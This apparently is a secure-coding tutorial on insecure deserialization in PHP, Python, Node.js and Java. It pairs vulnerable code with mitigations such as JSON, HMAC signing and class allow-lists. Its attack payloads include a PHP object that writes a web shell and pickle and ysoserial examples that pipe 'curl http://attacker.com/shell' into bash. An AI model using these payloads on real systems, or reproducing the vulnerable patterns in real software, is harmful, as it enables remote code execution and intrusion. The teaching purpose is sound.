Insecure Deserialization

<?php
// Vulnerable: Deserializing user input directly
class User {
    public $name;
    public $isAdmin = false;
}

// Attacker controls this cookie value
$userData = unserialize($_COOKIE['user']);

if ($userData->isAdmin) {
    // Admin functionality
    showAdminPanel();
}

// Attack payload (URL encoded in cookie):
// O:4:"User":2:{s:4:"name";s:5:"hacker";s:7:"isAdmin";b:1;}
// This creates a User object with isAdmin = true

<?php
// Dangerous class with magic method
class FileHandler {
    public $filename;
    public $content;
    
    // Called when object is destroyed
    public function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}

// If attacker can unserialize a FileHandler object:
$payload = 'O:11:"FileHandler":2:{s:8:"filename";s:18:"/var/www/shell.php";s:7:"content";s:27:"<?php system($_GET["c"]); ?>";}';

// When this object is garbage collected, __destruct runs
// Writing a web shell to the server

import pickle
import base64
import os

# Vulnerable: Loading untrusted pickle data
def load_session(session_data):
    # DANGEROUS: Never unpickle untrusted data
    return pickle.loads(base64.b64decode(session_data))

# Attacker creates malicious pickle
class Exploit:
    def __reduce__(self):
        # This method tells pickle how to reconstruct the object
        # We abuse it to execute arbitrary commands
        return (os.system, ('curl http://attacker.com/shell | bash',))

# Generate malicious payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)  # Send this as session_data

const serialize = require('node-serialize');

// Vulnerable: Deserializing user input
app.post('/session', (req, res) => {
  const sessionData = req.cookies.session;
  // DANGEROUS: Untrusted deserialization
  const session = serialize.unserialize(sessionData);
  res.json({ user: session.user });
});

// Attack payload using IIFE (Immediately Invoked Function Expression)
const payload = {
  rce: function() {
    require('child_process').execSync('id > /tmp/pwned');
  }()
};

// node-serialize executes the function during deserialization
// Payload: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}

// Vulnerable: Deserializing untrusted data
public class SessionManager {
    public Object loadSession(byte[] sessionData) throws Exception {
        ByteArrayInputStream bis = new ByteArrayInputStream(sessionData);
        // DANGEROUS: No validation of what's being deserialized
        ObjectInputStream ois = new ObjectInputStream(bis);
        return ois.readObject();  // Can instantiate ANY serializable class
    }
}

// Attackers use tools like ysoserial to generate gadget chains:
// java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash'

// Secure: Use JSON instead of serialization
// JSON can only represent data, not executable code

// Instead of serialized objects:
// O:4:"User":2:{s:4:"name";s:4:"john";s:7:"isAdmin";b:0;}

// Use JSON:
const userData = JSON.stringify({ name: 'john', isAdmin: false });

// Parse safely (JSON.parse cannot execute code)
const user = JSON.parse(userData);

import crypto from 'crypto';

const SECRET = process.env.SIGNING_SECRET;

// Sign serialized data
function signData(data) {
  const serialized = JSON.stringify(data);
  const signature = crypto
    .createHmac('sha256', SECRET)
    .update(serialized)
    .digest('hex');
  return `${serialized}.${signature}`;
}

// Verify before deserializing
function verifyAndParse(signedData) {
  const [data, signature] = signedData.split('.');
  const expected = crypto
    .createHmac('sha256', SECRET)
    .update(data)
    .digest('hex');
  
  if (!crypto.timingSafeEqual(
    Buffer.from(signature), 
    Buffer.from(expected)
  )) {
    throw new Error('Signature verification failed');
  }
  
  return JSON.parse(data);
}

// Secure: Whitelist allowed classes
import org.apache.commons.io.serialization.ValidatingObjectInputStream;

public Object safeDeserialize(byte[] data) throws Exception {
    ByteArrayInputStream bis = new ByteArrayInputStream(data);
    ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bis);
    
    // Only allow specific classes
    ois.accept("com.myapp.User");
    ois.accept("com.myapp.Session");
    ois.reject("*");  // Reject everything else
    
    return ois.readObject();
}

# NEVER use pickle for untrusted data
# Use these alternatives instead:

import json
import yaml  # with safe_load only

# JSON is always safe (data only)
data = json.loads(user_input)

# YAML: ONLY use safe_load
data = yaml.safe_load(user_input)  # Safe
# data = yaml.load(user_input)     # DANGEROUS - can execute code

# For complex objects, use explicit conversion
class User:
    def __init__(self, name: str, role: str):
        self.name = name
        self.role = role
    
    @classmethod
    def from_dict(cls, data: dict):
        # Explicit, validated deserialization
        return cls(
            name=str(data.get('name', '')),
            role=str(data.get('role', 'user'))
        )